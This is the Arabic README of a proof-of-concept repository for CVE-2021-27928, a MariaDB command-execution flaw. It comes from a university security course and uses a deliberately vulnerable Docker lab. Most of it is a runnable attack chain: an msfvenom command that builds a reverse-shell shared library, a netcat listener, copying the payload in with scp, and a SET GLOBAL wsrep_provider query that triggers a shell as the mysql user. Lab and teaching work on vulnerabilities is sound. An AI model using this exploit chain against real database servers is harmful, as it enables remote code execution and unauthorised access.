
إثبات المفهوم لاستغلال الثغرة CVE-2021-27928
في هذا المستودع، ستجد دليلاً على إثبات المفهوم لاستغلال الثغرة CVE-2021-27928 من خلال حاوية دوكر.
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
يمكن تعديل متغيرات النظام wsrep_provider و wsrep_notify_cmd system في وقت التشغيل بواسطة مستخدم قاعدة بيانات يتمتع بامتيازات عليا، مما قد يؤدي إلى تنفيذ كود عن بُعد سيتم تنفيذه بهذه الامتيازات.
يأخذ المتغير الأول مساراً إلى مكتبة .so التي سيحاول الخادم فتحها باستخدام dlopen()، ويأخذ الثاني مساراً إلى السكريبت البرمجي الذي سينفذه الخادم. جعلها قابلة للكتابة يسمح لمستخدم قاعدة البيانات ذي الامتيازات العليا بتنفيذ كود عشوائي كمستخدم mysql للنظام.
في إثبات المفهوم هذا، سنستخدم msfvenom لإنشاء مكتبة .so التي ستحتوي على حمولتنا (في حالتنا، شل عكسية). ثم سننسخ هذا الملف على الجهاز الضعيف ونحدد هذا المسار في متغير wsrep_provider الذي سينفذ حمولتنا، مما يمنحنا الوصول إلى الجهاز الهدف كمستخدم يتمتع بامتيازات عليا (هنا مستخدم mysql) بفضل شلتنا العكسية.
لهذه التجربة، ستحتاج إلى تثبيت حزم docker و msfvenom و openssh-client و mariadb على جهازك.
في هذا الإعداد، يعتمد الجهاز الهدف على صورة MariaDB 10.4.12 (التي تعاني من هذه الثغرة)، حيث يعمل خادم openssh بدون السماح بتسجيل الدخول كجذر. لذلك أنشأنا مستخدمًا غير جذر لك، myuser، بكلمة مرور mypassword.
بناء الصورة الضعيفة:
docker build --rm=true -t mariadb-cve-2021-27928 .
تشغيل الجهاز الهدف:
docker compose up
الحمولة هي الملف الثنائي الذي نريد من الجهاز الهدف تنفيذه بمجرد اكتمال الاستغلال. هنا، نستخدم msfvenom لإنشاء حمولة شل عكسية على شكل مكتبة .so، مع عنوان IP الخاص بنا (LHOST) والمنفذ (LPORT) كمعاملات. في شاشة طرفية أخرى، قم بتشغيل:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
عنوان IP
LHOSTهو المحدد في ملفdocker-compose.yamlلبوابة الشبكة، في حالتنا المهاجم، أنت.
في الخلفية، على شاشة طرفية ثالثة، سنستمع لأي اتصال وارد من الجهاز الهدف على المنفذ الذي من المفترض أن يتصل به.
nc -lnvp 4444
المنفذ الذي نستمع عليه،
4444، هو الذي قمنا بتعيينه كـLPORTعند إنشاء الحمولة.
الآن، نحتاج إلى نسخ الحمولة التي أنشأناها سابقًا (payload-CVE-2021-27928.so) إلى الجهاز الهدف عبر ssh باستخدام الأمر scp، كمستخدم النظام غير الجذر myuser، الذي كلمة مروره mypassword:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
نظرًا لأننا لا نستطيع نسخ ملف مباشرة عبر ssh إلى /usr/lib، يجب علينا الاتصال بالجهاز ونقله يدويًا إلى المكان الصحيح (تذكر أن كلمة مرور myuser هي mypassword):
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
كان بإمكاننا رفع الحمولة إلى دليل آخر تحت اسم آخر مثل
/tmp/exploit.soوتمرير هذا المسار كمسار للحمولة، ولكن نظرًا لأن الثغرة تم تصحيحها منذ ذلك الحين في جميع حزم mariadb، فقد تطلب استغلالها بعض التعديلات التي ستراها في نهاية هذا العرض.
الخطوة الأخيرة هي استغلال ثغرة MariaDB عن طريق إرسال طلب كمستخدم النظام الودود غير الجذر ولكن مسؤول قاعدة البيانات المختص الذي نحن عليه، مع طلب تعيين المتغير العام wsrep_provider على مسار حمولتنا.
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
هنا، يعني
root"مدير" على مستوى قاعدة البيانات، وليس مستخدم "نظام الجذر". لذا فإن كلمة المرور هنا هي الموجودة في ملفdocker-compose.yaml،MYSQL_ROOT_PASSWORD: myrootpwd.
أخيرًا، إذا عمل كل شيء كما هو متوقع، يمكننا رؤية في الشاشة الطرفية التي كنا نستمع فيها لأي اتصال وارد أن الجهاز الهدف قد اتصل بنا بنجاح، وأنه يمكننا تشغيل أوامر الشل. استمتع :)
الشل العكسية ليست فاخرة مثل الشل "التقليدية": لا يوجد اكتمال تلقائي، ولا موجه شل، ولا تاريخ، لذا الأمر متروك لك لمراقبة التنفيذ الصحيح لأوامرك. لذا، كمثال، لا تتردد في استخدام
ls -la.
يمكنك تشغيل
whoamiعلى شاشة netcat الطرفية للتحقق من أنك مستخدم النظامmysql!
وفقًا لـ Jira الخاص بـ MariaDB، يبدو أن هناك استخدامًا عمليًا ضئيلًا (أو معدومًا) لتعديل هذه المتغيرات في وقت التشغيل، فهي تُستخدم فقط في الاختبارات. بعد العثور على هذه الثغرة، كان الإصلاح هو جعلها للقراءة فقط، وهو إصلاح سهل وآمن، على حساب تعقيد بسيط في سكريبتات الاختبار.
لم يكن الأمر كذلك قبل ذلك، ولكن الآن، قيمة المسار الوحيدة التي يمكن أن يأخذها wsrep_provider هي /usr/lib/galera/libgalera_smm.so، ولهذا تطلب إثبات المفهوم هذا بعض التعديلات مثل منح صلاحيات الكتابة إلى مجلد /usr/lib/galera لكي نتمكن من رفع حمولتنا. وبالتالي، هذا التكوين معرض للخطأ طواعية في سياق هذا العرض، لكنه لم يعد قابلاً للاستخدام بهذه الطريقة على معظم الأنظمة الحالية.
تم تنفيذ هذا العمل كجزء من مقرر أمن نظم المعلومات في السنة الأخيرة من تخصص هندسة نظم المعلومات في Grenoble INP - Ensimag, UGA.